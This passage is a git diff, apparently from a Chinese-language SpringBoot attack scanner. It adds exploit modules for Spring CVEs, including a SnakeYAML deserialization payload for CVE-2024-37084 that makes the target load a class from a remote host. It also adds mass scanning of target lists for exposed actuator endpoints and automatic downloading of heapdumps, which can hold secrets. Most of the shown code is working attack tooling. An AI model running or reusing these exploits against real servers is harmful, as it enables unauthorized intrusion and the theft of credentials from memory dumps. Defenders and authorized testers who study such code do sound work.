timeout=outtime, + verify=False, proxies=proxies) + + if ('X-SpEL' in str(re3.text)): + cprint(f'[+] [CVE-2025-41243] {url}', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [CVE-2025-41243] " + url + '\n') + f2.close() + else: + cprint("[-] 目标 " + url + " 验证CVE-2025-41243漏洞不存在", "yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def CVE_2024_37084(url, proxies): + Headers_1 = { + "User-Agent": random.choice(ua), + } + Headers_2 = { + "User-Agent": random.choice(ua), + "Content-Type": "application/json" + } + try: + try: + requests.packages.urllib3.disable_warnings() + response = requests.get(url + "api/package/", headers=Headers_1, timeout=outtime, verify=False, + proxies=proxies) + response.raise_for_status() + data = response.json() + upload_href = data.get('_links', {}).get('upload', {}).get('href') + install_href = data.get('_links', {}).get('install', {}).get('href') + if not upload_href or not install_href: + cprint("[-] 目标 " + url + " 验证CVE-2024-37084远程命令执行漏洞不存在", "yellow") + return + except Exception as e: + cprint("[-] 目标 " + url + " 验证CVE-2024-37084远程命令执行漏洞不存在", "yellow") + return + + dnslog = "aaa" + with tempfile.TemporaryDirectory() as temp_dir: + package_dir = os.path.join(temp_dir, "test-1.1.1") + os.makedirs(package_dir) + + yaml_file_path = os.path.join(package_dir, "package.yaml") + yaml_content = textwrap.dedent(f"""\ + apiVersion: 1.0.0 + origin: my origin + repositoryId: 12345 + repositoryName: local + kind: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://{dnslog}"]]]] + name: test1 + version: 1.1.1 + """) + + with open(yaml_file_path, 'w') as f: + f.write(yaml_content) + + with zipfile.ZipFile(os.path.join(temp_dir, "test-1.1.1.zip"), 'w', zipfile.ZIP_DEFLATED) as zipf: + for root, dirs, files in os.walk(package_dir): + for file in files: + file_path = os.path.join(root, file) + arcname = os.path.relpath(file_path, temp_dir) + zipf.write(file_path, arcname) + + with open(os.path.join(temp_dir, "test-1.1.1.zip"), 'rb') as f: + zip_data = f.read() + + zip_byte_list = [byte for byte in zip_data] + + json_data = { + "repoName": "local", + "name": "test", + "version": "1.1.1", + "extension": "zip", + "packageFileAsBytes": zip_byte_list + } + + response = requests.post(url + "api/package/upload", headers=Headers_2, timeout=outtime, verify=False, + proxies=proxies, json=json_data) + + data = response.json() + if data.get("exception") == "org.yaml.snakeyaml.constructor.ConstructorException": + cprint(f'[+] [CVE-2024-37084] {url}', "red") + f2 = open("vulout.txt", "a") + f2.write("[+] [CVE-2024-37084] " + url + '\n') + f2.close() + else: + cprint("[-] 目标 " + url + " 验证CVE-2024-37084远程命令执行漏洞不存在", "yellow") + + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + + +def generate_random_route(length=5): + characters = string.ascii_letters + return ''.join(random.choice(characters) for _ in range(length)) + +def poc(filename,proxies): + f1 = open("vulout.txt", "wb+") + f1.close() + functions = { + 1: JeeSpring_2023, + 2: CVE_2022_22947, + 3: CVE_2022_22963, + 4: CVE_2022_22965, + 5: CVE_2021_21234, + 6: SnakeYAML_RCE, + 7: Eureka_xstream_RCE, + 8: JolokiaRCE, + 9: CVE_2018_1273, + 10: CVE_2025_41243, + 11: CVE_2024_37084, + } + cprint("[+] 获取TXT名字为:" + filename,"green") + FileRead(filename) + cprint("[+] 目前漏洞库内容如下:","green") + for num, func in functions.items(): + print(f" {num}: {func.__name__}") + try: + choices = input("\n请输入要批量检测的漏洞 (例子:1,3,5 直接回车即检测全部漏洞): ") + if choices == '': + choices = "1,2,3,4,5,6,7,8,9,10,11" + choices = [int(choice) for choice in choices.split(',')] + except Exception as e: + print("请不要输入无意义的字符串") + sys.exit() + with open(filename, 'r') as temp: + for url in temp.readlines(): + url = url.strip() + if ('://' not in url): + url = str("http://") + str(url) + if str(url[-1]) != "/": + url = url + "/" + try: + requests.packages.urllib3.disable_warnings() + r = requests.get(url, timeout = outtime, verify=False, proxies=proxies) + if r.status_code == 503: + continue + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except: + cprint("[-] URL为 " + url + " 的目标积极拒绝请求,予以跳过!", "magenta") + continue + for choice in choices: + selected_func = functions.get(choice) + if selected_func: + selected_func(url, proxies) + else: + print(f"{choice} 输入错误,请重新输入漏洞选择模块\n") + break + cprint("后续会加入更多漏洞利用模块,请师傅们敬请期待~", "red") + sys.exit() diff --git a/inc/proxycheck.py b/inc/proxycheck.py index c873f7f..683dcbc 100644 --- a/inc/proxycheck.py +++ b/inc/proxycheck.py @@ -1,43 +1,56 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # coding=utf-8 + ################ + # AabyssZG # +################ -from inc import output,run,vul,console -import requests, sys +from inc import output, console +import sys +import requests from termcolor import cprint +import json import requests.packages.urllib3 + requests.packages.urllib3.disable_warnings() -# 检查代理的使用 def SpringBoot_Scan_Proxy(args): + proxies = {} if args.proxy: proxies = { - "http": "http://%(proxy)s/" % {'proxy': args.proxy}, - "https": "http://%(proxy)s/" % {'proxy': args.proxy} + "http": f"http://{args.proxy}", + "https": f"http://{args.proxy}" } - cprint(f"================检测代理可用性中================", "cyan") - testurl = "https://www.baidu.com/" - headers = {"User-Agent": "Mozilla/5.0"} # 响应头 + cprint("===== 检测代理可用性中 =====", "cyan") + test_url = "https://www.baidu.com" + headers = {"User-Agent": "Mozilla/5.0"} try: - requests.packages.urllib3.disable_warnings() - res = requests.get(testurl, timeout=10, proxies=proxies, verify=False, headers=headers) - print(res.status_code) - # 发起请求,返回响应码 + res = requests.get(test_url, headers=headers, proxies=proxies, verify=False, timeout=10) if res.status_code == 200: - print("GET www.baidu.com 状态码为:" + str(res.status_code)) - cprint(f"[+] 代理可用,马上执行!", "cyan") - except KeyboardInterrupt: - print("Ctrl + C 手动终止了进程") + cprint(f"[+] 代理可用,马上执行!", "green") + else: + cprint(f"[-] 代理不可用,请更换代理!", "red") + sys.exit() + except Exception as e: + cprint(f"[-] 代理连接失败: {e}", "red") sys.exit() - except: - cprint(f"[-] 代理不可用,请更换代理!", "magenta") + + headers = {} + if args.newheader: + try: + with open(args.newheader, 'r', encoding='utf-8') as f: + headers = json.load(f) + cprint(f"[+] 成功加载自定义 HTTP 头部文件: {args.newheader}", "green") + except Exception as e: + cprint(f"[-] 读取 HTTP 头部文件失败: {e}", "red") sys.exit() - else: - proxies = '' - if (args.url or args.file or args.vul or args.dump): - console.SpringBoot_Scan_console(args, proxies) + if args.cookie: + headers['Cookie'] = args.cookie + cprint(f"[+] 已添加自定义 Cookie 到请求头", "green") + + if args.url or args.urlfile or args.vul or args.vulfile or args.dump or args.zoomeye or args.fofa or args.hunter or args.dumpfile: + console.SpringBoot_Scan_console(args, proxies, headers) else: output.usage() sys.exit() - - + \ No newline at end of file diff --git a/inc/run.py b/inc/run.py index 0d21464..7dfd699 100644 --- a/inc/run.py +++ b/inc/run.py @@ -1,121 +1,213 @@ #!/usr/bin/env python # coding=utf-8 - -from inc import output,console -import requests, sys, random + ################ + # AabyssZG # + # Fkalis # +################ +import itertools +from inc import output, console +import requests, sys, random, json, hashlib from tqdm import tqdm from termcolor import cprint +from time import sleep import requests.packages.urllib3 +import time +import asyncio +import aiohttp + requests.packages.urllib3.disable_warnings() +outtime = 10 ua = [ - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", - "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", - "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27", - "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0", - "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00"] + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", + "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", + "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27", + "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0", + "Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00"] + + +def JSON_handle(header1, header2): + dict1 = json.loads(str(header1).replace("'", "\"")) + dict2 = json.loads(str(header2).replace("'", "\"")) + # 合并两个字典 + merged_dict = {**dict1, **dict2} + # 将合并后的字典转换为 JSON 字符串 + result_json = json.dumps(merged_dict, indent=2) + return result_json -def url(urllist,proxies): +def url(urllist, proxies, header_new): f1 = open("urlout.txt", "wb+") f1.close() - cprint(f"================开始对目标URL测试SpringBoot信息泄露端点================", "cyan") + cprint(f"======开始对目标URL测试SpringBoot信息泄露端点======", "cyan") + sleeps = input("\n是否要延时扫描 (默认0秒): ") + if sleeps == "": + sleeps = int("0") + encountered_hashes = [] with open("Dir.txt", 'r') as web: webs = web.readlines() for web in webs: web = web.strip() - if ('://' not in urllist): - urllist = str("http://") + str(urllist) - if str(urllist[-1]) != "/": - u = urllist + "/" + web - else: - u = urllist + web + u = urllist + web + header = {"User-Agent": random.choice(ua)} + newheader = json.loads(str(JSON_handle(header, header_new)).replace("'", "\"")) try: - header = {"User-Agent": random.choice(ua)} requests.packages.urllib3.disable_warnings() - r = requests.get(url=u, headers=header, timeout=6, verify=False, proxies=proxies) # 设置超时6秒 + r = requests.get(url=u, headers=newheader, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) + sleep(int(float(sleeps))) if r.status_code == 503: sys.exit() + if ((r.status_code == 200) and ('need login' not in r.text) and ('禁止访问' not in r.text) and (len(r.content) != 3318) and ('无访问权限' not in r.text) and ('认证失败' not in r.text)): + content_hash = hashlib.md5(r.content).hexdigest() + if content_hash not in encountered_hashes: + encountered_hashes.append(content_hash) + cprint("[+] 状态码%d" % r.status_code + ' ' + "信息泄露URL为:" + u + ' ' + "页面长度为:" + str(len(r.content)), "red") + f2 = open("urlout.txt", "a") + f2.write(u + '\n') + f2.close() + else: + cprint("[*] 已存在重复内容的URL:" + u, "magenta") + elif (r.status_code == 200): + cprint("[+] 状态码%d" % r.status_code + ' ' + "但无法获取信息 URL为:" + u + ' ' + "页面长度为:" + str(len(r.content)), "magenta") + else: + cprint("[-] 状态码%d" % r.status_code + ' ' + "无法访问URL为:" + u, "yellow") except KeyboardInterrupt: print("Ctrl + C 手动终止了进程") sys.exit() - except: + except Exception as e: cprint("[-] URL为 " + u + " 的目标积极拒绝请求,予以跳过!", "magenta") - break - if r.status_code == 200: - cprint("[+] 状态码%d" % r.status_code + ' ' + "信息泄露URL为:" + u + ' ' + "页面长度为:" + str(len(r.content)),"red") - f2 = open("urlout.txt", "a") - f2.write(u + '\n') - f2.close() - else: - cprint("[-] 状态码%d" % r.status_code + ' ' + "无法访问URL为:" + u ,"yellow") - count = len(open("urlout.txt", 'rU').readlines()) + print(e) + count = len(open("urlout.txt", 'r').readlines()) if count >= 1: print('\n') - cprint("[+][+][+] 发现目标URL存在SpringBoot敏感信息泄露,已经导出至 urlout.txt ,共%d行记录" % count,"red") + cprint("[+][+][+] 发现目标URL存在SpringBoot敏感信息泄露,已经导出至 urlout.txt ,共%d行记录" % count, "red") + else: + print('\n') + cprint("[-] 目标URL没有存在SpringBoot敏感信息泄露", "yellow") sys.exit() -def file(filename,proxies): - f1 = open("output.txt", "wb+") - f1.close() - cprint("================开始读取目标TXT并测试SpringBoot信息泄露端点================","cyan") +def get_file(filename): with open(filename, 'r') as temp: - for url in temp.readlines(): - url = url.strip() - with open("Dir.txt", 'r') as web: - webs = web.readlines() - for web in webs: - web = web.strip() - if ('://' not in url): - url = str("http://") + str(url) - if str(url[-1]) != "/": - u = url + "/" + web - else: - u = url + web + temps = temp.readlines() + for urls in temps: + url = urls.strip() + yield url + +async def async_dir(url, proxies, header_new, semaphore, sleeps): + try: + tasks = [] + u_list = [] + with open("Dir.txt", 'r') as web: + web_lines = web.readlines() + for web_line in web_lines: + web_line = web_line.strip() + if ('://' not in url): + url = str("http://") + str(url) + if str(url[-1]) != "/": + u = url + "/" + web_line + else: + u = url + web_line + u_list.append(u) + tasks = [asyncio.create_task(file_semaphore(u_dir, proxies, header_new, semaphore, sleeps)) for u_dir in u_list] + result = await asyncio.gather(*tasks, return_exceptions=True) + exceptions = [r for r in result if isinstance(r, Exception)] + if exceptions: + cprint(f"[*] URL {url} 的部分端点访问失败,但继续扫描其他端点", "yellow") + except Exception as e: + cprint("[-] URL为 " + url + " 的目标积极拒绝请求,予以跳过!", "magenta") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +async def file(u, proxies, header_new): + try: + header = {"User-Agent": random.choice(ua)} + newheader = json.loads(str(JSON_handle(header, header_new)).replace("'", "\"")) + # 处理代理格式 + proxy_str = None + if proxies and 'http' in proxies: + proxy_str = proxies['http'] + + async with aiohttp.ClientSession() as session: + async with session.get(url=u, headers=newheader, proxy=proxy_str, allow_redirects=False, ssl=False, timeout=10) as r: + conntext = await r.text() + if ((r.status == 200) and ('need login' not in conntext) and ('禁止访问' not in conntext) and (len(conntext) != 3318) and ('无访问权限' not in conntext) and ('认证失败' not in conntext)): try: - header = {"User-Agent": random.choice(ua)} - requests.packages.urllib3.disable_warnings() - r = requests.get(url=u, headers=header, timeout=6, verify=False, proxies=proxies) # 设置超时6秒 - except KeyboardInterrupt: - print("Ctrl + C 手动终止了进程") - sys.exit() - except: - cprint("[-] URL为 " + u + " 的目标积极拒绝请求,予以跳过!", "magenta") - break - if r.status_code == 200: - cprint("[+] 状态码%d" % r.status_code + ' ' + "信息泄露URL为:" + u + ' ' + "页面长度为:" + str(len(r.content)),"red") + r2 = requests.get(url=u + "QWEASD123", headers=newheader, timeout = outtime, allow_redirects=False, verify=False, proxies=proxies) + if str(len(conntext)) != str(len(r2.content)): + cprint("[+] 状态码%d" % r.status + ' ' + "信息泄露URL为:" + u + ' ' + "页面长度为:" + str(len(conntext)), "red") + f2 = open("output.txt", "a") + f2.write(u + '\n') + f2.close() + else: + cprint("[-] 发现重复长度URL为: " + u + ' ' + "页面长度为:" + str(len(conntext)), "magenta") + except Exception as e: + + cprint("[+] 状态码%d" % r.status + ' ' + "信息泄露URL为:" + u + ' ' + "页面长度为:" + str(len(conntext)) + " (对比验证失败)", "red") f2 = open("output.txt", "a") f2.write(u + '\n') f2.close() - else: - cprint("[-] 状态码%d" % r.status_code + ' ' + "无法访问URL为:" + u ,"yellow") - count = len(open("output.txt", 'rU').readlines()) + elif r.status == 200: + cprint( + "[+] 状态码%d" % r.status + ' ' + "但无法获取信息 URL为:" + u + ' ' + "页面长度为:" + str(len(conntext)), "magenta") + else: + cprint("[-] 状态码%d" % r.status + ' ' + "无法访问URL为:" + u, "yellow") + except asyncio.TimeoutError: + cprint("[-] 访问超时 URL为:" + u, "yellow") + except Exception as e: + cprint("[-] 访问失败 URL为:" + u + " 错误:" + str(e), "yellow") + +async def file_semaphore(url, proxies, header_new, semaphore, sleeps): + async with semaphore: + await file(url, proxies, header_new) + await asyncio.sleep(int(sleeps)) + +async def file_main(urlfile, proxies, header_new): + urls_lists = [] + f1 = open("output.txt", "wb+") + f1.close() + cprint("======开始读取目标TXT并测试SpringBoot信息泄露端点======", "cyan") + time_start = time.time() + sleeps = input("\n是否要延时扫描 (默认不延时,必须是整数): ") + if sleeps == "": + sleeps = "0" + else: + sleeps = int(sleeps) + max_concurrency = input("请输入最大并发数 (默认10): ") + if max_concurrency == "": + max_concurrency = 10 + else: + max_concurrency = int(max_concurrency) + max_tasks = 100 + semaphore = asyncio.Semaphore(max_concurrency) + urls_itr = get_file(urlfile) + while True: + try: + urls_lists = list(itertools.islice(urls_itr, max_tasks)) + if not urls_lists: # 当urls_itr为空时,直接跳出循环 + break + tasks = [async_dir(url, proxies, header_new, semaphore, sleeps) for url in urls_lists] + await asyncio.gather(*tasks, return_exceptions=True) + except StopIteration: + break + count = len(open("output.txt", 'r').readlines()) if count >= 1: print('\n') - cprint("[+][+][+] 发现目标TXT内存在SpringBoot敏感信息泄露,已经导出至 output.txt ,共%d行记录"%count,"red") + cprint("[+][+][+] 发现目标TXT内存在SpringBoot敏感信息泄露,已经导出至 output.txt ,共%d行记录" % count, "red") + else: + print('\n') + cprint("[-] 目标TXT内没有存在SpringBoot敏感信息泄露", "yellow") + time_end = time.time() # 记录结束时间 + time_sum = time_end - time_start # 计算的时间差为程序的执行时间,单位为秒/s + cprint("[+] 批量扫描共耗时 %s 秒" % time_sum, "red") sys.exit() -def dump(urllist,proxies): - if ('://' not in urllist): - urllist = str("http://") + str(urllist) - if str(urllist[-1]) != "/": - urllist = urllist + "/" - try: +def dump(urllist, proxies, header_new): + def download(url: str, fname: str, proxies: str, newheader): + # 用流stream的方式获取url的数据 requests.packages.urllib3.disable_warnings() - r = requests.get(urllist, timeout=6, verify=False, proxies=proxies) # 设置超时6秒 - if r.status_code == 503: - sys.exit() - except KeyboardInterrupt: - print("Ctrl + C 手动终止了进程") - sys.exit() - except: - cprint("[-] URL为 " + urllist + " 的目标积极拒绝请求,予以跳过!", "magenta") - sys.exit() - def download(url: str, fname: str, proxies: str): - # 用流stream的方式获取url的数据 - requests.packages.urllib3.disable_warnings() - resp = requests.get(url, timeout=6, stream=True, verify=False, proxies=proxies) + resp = requests.get(url, headers=newheader, timeout = outtime, stream=True, verify=False, proxies=proxies) # 拿到文件的长度,并把total初始化为0 total = int(resp.headers.get('content-length', 0)) # 打开当前目录的fname文件(名字你来传入) @@ -130,48 +222,127 @@ def download(url: str, fname: str, proxies: str): for data in resp.iter_content(chunk_size=1024): size = file.write(data) bar.update(size) - cprint("================开始对目标URL测试SpringBoot敏感文件泄露并下载================","cyan") + + cprint("======开始对目标URL测试SpringBoot敏感文件泄露并下载======", "cyan") # 下载文件,并传入文件名 url1 = urllist + "actuator/heapdump" url2 = urllist + "heapdump" url3 = urllist + "heapdump.json" url4 = urllist + "gateway/actuator/heapdump" url5 = urllist + "hystrix.stream" + url6 = urllist + "artemis-portal/artemis/heapdump" + header = {"User-Agent": random.choice(ua)} + newheader = json.loads(str(JSON_handle(header, header_new)).replace("'", "\"")) - if str(requests.head(url1)) != "": - cprint("[-] 在 /actuator/heapdump 未发现heapdump敏感文件泄露" ,"yellow") - else: - url = url1 - cprint("[+][+][+] 发现 /actuator/heapdump 敏感文件泄露" + ' ' + "下载端点URL为:" + url ,"red") - download(url, "heapdump" ,proxies) - sys.exit() - if str(requests.head(url2)) != "": - cprint("[-] 在 /heapdump 未发现heapdump敏感文件泄露" ,"yellow") - else: - url = url2 - cprint("[+][+][+] 发现 /heapdump 敏感文件泄露" + ' ' + "下载端点URL为:" + url ,"red") - download(url, "heapdump" ,proxies) + try: + if str(requests.head(url1)) != "": + cprint("[-] 在 /actuator/heapdump 未发现heapdump敏感文件泄露", "yellow") + else: + url = url1 + cprint("[+][+][+] 发现 /actuator/heapdump 敏感文件泄露" + ' ' + "下载端点URL为:" + url, "red") + download(url, "heapdump", proxies, newheader) + sys.exit() + if str(requests.head(url2)) != "": + cprint("[-] 在 /heapdump 未发现heapdump敏感文件泄露", "yellow") + else: + url = url2 + cprint("[+][+][+] 发现 /heapdump 敏感文件泄露" + ' ' + "下载端点URL为:" + url, "red") + download(url, "heapdump", proxies, newheader) + sys.exit() + if str(requests.head(url3)) != "": + cprint("[-] 在 /heapdump.json 未发现heapdump敏感文件泄露", "yellow") + else: + url = url3 + cprint("[+][+][+] 发现 /heapdump.json 敏感文件泄露" + ' ' + "下载端点URL为:" + url, "red") + download(url, "heapdump.json", proxies, newheader) + sys.exit() + if str(requests.head(url4)) != "": + cprint("[-] 在 /gateway/actuator/heapdump 未发现heapdump敏感文件泄露", "yellow") + else: + url = url4 + cprint("[+][+][+] 发现 /gateway/actuator/heapdump 敏感文件泄露" + ' ' + "下载端点URL为:" + url, "red") + download(url, "heapdump", proxies, newheader) + sys.exit() + if str(requests.head(url5)) != ("" or ""): + cprint("[-] 在 /hystrix.stream 未发现hystrix监控数据文件泄露,请手动验证", "yellow") + else: + url = url5 + cprint("[+][+][+] 发现 /hystrix.stream 监控数据文件泄露" + ' ' + "下载端点URL为:" + url, "red") + download(url, "hystrix.stream", proxies, newheader) + sys.exit() + if str(requests.head(url6)) != "": + cprint("[-] 在 /artemis-portal/artemis/heapdump 未发现heapdump监控数据文件泄露,请手动验证", "yellow") + else: + url = url6 + cprint("[+][+][+] 发现 /artemis-portal/artemis/heapdump 监控数据文件泄露" + ' ' + "下载端点URL为:" + url, + "red") + download(url, "heapdump", proxies, newheader) + sys.exit() sys.exit() - if str(requests.head(url3)) != "": - cprint("[-] 在 /heapdump.json 未发现heapdump敏感文件泄露" ,"yellow") - else: - url = url3 - cprint("[+][+][+] 发现 /heapdump.json 敏感文件泄露" + ' ' + "下载端点URL为:" + url ,"red") - download(url, "heapdump.json" ,proxies) + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") sys.exit() - if str(requests.head(url4)) != "": - cprint("[-] 在 /gateway/actuator/heapdump 未发现heapdump敏感文件泄露" ,"yellow") - else: - url = url4 - cprint("[+][+][+] 发现 /gateway/actuator/heapdump 敏感文件泄露" + ' ' + "下载端点URL为:" + url ,"red") - download(url, "heapdump" ,proxies) + except Exception as e: + print(f"[-] 下载失败,请手动尝试下载,报错内容为 {e}") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() sys.exit() - if str(requests.head(url5)) != ("" or ""): - cprint("[-] 在 /hystrix.stream 未发现hystrix监控数据文件泄露,请手动验证","yellow") + +def dumpfile(input_file, proxies, header_new): + header = {"User-Agent": random.choice(ua)} + newheader = json.loads(str(JSON_handle(header, header_new)).replace("'", "\"")) + paths = ["actuator/heapdump", "heapdump", "heapdump.json", "gateway/actuator/heapdump", "hystrix.stream", "artemis-portal/artemis/heapdump"] + with open(input_file, 'r') as web: + urls = web.readlines() + processed_urls = [] + for url in urls: + if ('://' not in url): + url = "http://" + url + if str(url[-1]) != "/": + url += "/" + processed_urls.append(url) + valid_urls = [] + + cprint(f"======开始读取目标TXT并扫描SpringBoot信息文件端点======", "cyan") + sleeps = input("\n是否要延时扫描 (默认0秒): ") + if sleeps == "": + sleeps = int("0") + for url in processed_urls: + try: + for path in paths: + full_url = f"{url.rstrip('/')}/{path.lstrip('/')}" + full_url = full_url.replace("\n", "") + try: + requests.packages.urllib3.disable_warnings() + headnumber = str(requests.head(full_url, timeout=5, verify=False, proxies=proxies, headers=newheader)) + sleep(int(float(sleeps))) + if headnumber == "": + cprint("[+] 发现SpringBoot敏感文件泄露,地址为 " + full_url, "red") + valid_urls.append(full_url) + else: + cprint("[-] 没有发现SpringBoot敏感文件泄露,地址 " + str(full_url) + " 状态码为 " + str(headnumber), "yellow") + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print(f"[-] 访问 {full_url} 出现错误,报错错误日志为 error.log") + raise + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + except Exception as e: + print(f"[.] 正在跳过该报错URL") + continue + + with open("dumpout.txt", 'w') as f: + for valid_url in valid_urls: + f.write(valid_url + '\n') + count = len(open("dumpout.txt", 'r').readlines()) + if count >= 1: + print('\n') + cprint("[+][+][+] 发现目标TXT内存在SpringBoot敏感文件泄露,已经导出至 dumpout.txt ,共%d行记录" % count, "red") else: - url = url5 - cprint("[+][+][+] 发现 /hystrix.stream 监控数据文件泄露" + ' ' + "下载端点URL为:" + url ,"red") - download(url, "hystrix.stream" ,proxies) - sys.exit() + cprint("[-] 读取指定TXT没有存在SpringBoot敏感文件泄露", "yellow") sys.exit() - + diff --git a/inc/springcheck.py b/inc/springcheck.py new file mode 100644 index 0000000..c204e42 --- /dev/null +++ b/inc/springcheck.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python +# coding=utf-8 + ################ + # AabyssZG # +################ + +from inc import output,run,vul,console +import requests, sys, hashlib, json +from termcolor import cprint +import requests.packages.urllib3 +requests.packages.urllib3.disable_warnings() +outtime = 10 + +def Spring_Check(url,proxies,header_new): + cprint("[.] 正在进行Spring的指纹识别","cyan") + Spring_hash = "0488faca4c19046b94d07c3ee83cf9d6" + Paths = ["favicon.ico", "AabyssZG666"] + check_status = 0 + for path in Paths: + test_url = str(url) + path + r = requests.get(test_url, timeout = outtime, verify=False, headers=header_new, proxies=proxies) + try: + content_type = r.headers.get("Content-Type", "") + if r.text and ('timestamp' in r.text): + cprint("[+] 站点报错内容符合Spring特征,识别成功","red") + check_status = 1 + elif "image" in content_type or "octet-stream" in content_type: + favicon_hash = hashlib.md5(r.content).hexdigest() + if favicon_hash == Spring_hash: + cprint("[+] 站点Favicon是Spring图标,识别成功","red") + check_status = 1 + while check_status == 0: + cprint("[-] 站点指纹不符合Spring特征,可能不是Spring框架","yellow") + check_status = 2 + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + print("[-] 发生错误,已记入日志error.log\n") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + +def check(url,proxies,header_new): + if type(header_new) != dict: + header_new = json.loads(header_new) + if ('://' not in url): + url = str("http://") + str(url) + if str(url[-1]) != "/": + url = url + "/" + try: + requests.packages.urllib3.disable_warnings() + r = requests.get(url, timeout = outtime, verify=False, headers=header_new, proxies=proxies) # 设置超时6秒 + if (r.status_code == 503) or (r.status_code == 502): + cprint("[-] 网页状态码为503或502", "magenta") + sys.exit() + else: + Spring_Check(url,proxies,header_new) + return url + except KeyboardInterrupt: + print("Ctrl + C 手动终止了进程") + sys.exit() + except Exception as e: + cprint("[-] URL为 " + url + " 的目标积极拒绝请求,予以跳过!已记入日志error.log", "magenta") + f2 = open("error.log", "a") + f2.write(str(e) + '\n') + f2.close() + sys.exit() diff --git a/inc/vul.py b/inc/vul.py index 617a948..abe2ed1 100644 --- a/inc/vul.py +++ b/inc/vul.py @@ -1,14 +1,17 @@ #!/usr/bin/env python # coding=utf-8 + ################ + # AabyssZG # +################ -import requests, sys, json, re, random +import requests, sys, json, re, random, base64, string, os, tempfile, zipfile, textwrap from termcolor import cprint from time import sleep import urllib3 urllib3.disable_warnings() +outtime = 10 -ua = [ - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36", +ua = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36", @@ -16,52 +19,82 @@ "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0", "Opera/9.80 (Windows NT 5.1; U; zh-sg) 